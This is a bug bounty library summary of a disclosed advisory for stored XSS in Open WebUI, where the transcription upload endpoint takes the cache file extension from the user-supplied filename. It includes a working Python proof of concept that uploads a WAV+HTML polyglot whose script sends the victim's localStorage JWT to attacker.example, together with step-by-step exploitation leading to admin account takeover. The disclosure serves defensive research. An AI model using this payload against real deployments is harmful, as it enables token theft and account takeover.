# Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Open WebUI derives cache file extension from user-supplied filename, so a polyglot WAV+HTML upload is served as text/html, giving stored XSS and token theft.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: maloleg
- Disclosed: 2026-05-14
- CVE: CVE-2026-45315
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m8f9-9whg-f4xr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m8f9-9whg-f4xr
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:file-upload vuln:xss

**Target:** /api/v1/audio/transcriptions upload and /cache/{path} FileResponse route
**Root cause:** The transcription endpoint takes the extension from the user-supplied filename (ext = safe_name.rsplit('.',1)[-1]) with no allowlist or cross-check against file.content_type, and /cache serves files via FileResponse which sets Content-Type from the on-disk extension with no Content-Disposition.
**Steps:**
1. Craft a polyglot: valid WAV header + audio data followed by `<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>`.
2. POST to `/api/v1/audio/transcriptions` with attacker JWT, `files={'file': ('pwn.html', payload, 'audio/wav')}` — MIME check passes since strict_match_mime_type allows audio/*.
3. Response returns `filename` = `<uuid>.html`; server saved it under CACHE_DIR/audio/transcriptions/<uuid>.html.
4. Send victim to `https://VICTIM/cache/audio/transcriptions/<fn>`; FileResponse returns `Content-Type: text/html; charset=utf-8` with no Content-Disposition, executing the script in the Open WebUI origin.
**How found:** Code review of audio.py extension handling, main.py /cache FileResponse behavior, and misc.py MIME matching, cross-referenced with config.py default permissions and frontend JWT storage in localStorage.
**Exploitation:** Any verified user with default-on chat.stt uploads the polyglot; a single click by any other authenticated user executes JS in the origin, reading localStorage.token (JWT) and the non-HttpOnly OAuth cookie, enabling full account takeover including admins.
**Escalation:** Admin token theft could theoretically reach in-process code execution via Open WebUI's admin-only plugin mechanism (out of scope per report).
**Insight:** When an upload endpoint names files from user input and a generic /cache or static route serves them, check whether the served Content-Type follows the on-disk extension — a polyglot that passes the MIME allowlist but carries a dangerous extension turns any file cache into stored XSS.

## Proof of concept (copied exactly from the original report)

**Python PoC uploading polyglot WAV+HTML as pwn.html**

```
import struct, httpx                                                                                                                                   

  data = b'\x80' * 44100                                                                                                                                   
  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
          b'data', len(data)) + data                                                                                                                       
  payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                      
                                                                                                                                                           
  r = httpx.post(                                                                                                                                          
      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        
      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 
      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  
  )                                                                                                                                                        
  fn = r.json()['filename']      # '<uuid>.html'
 #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>
```

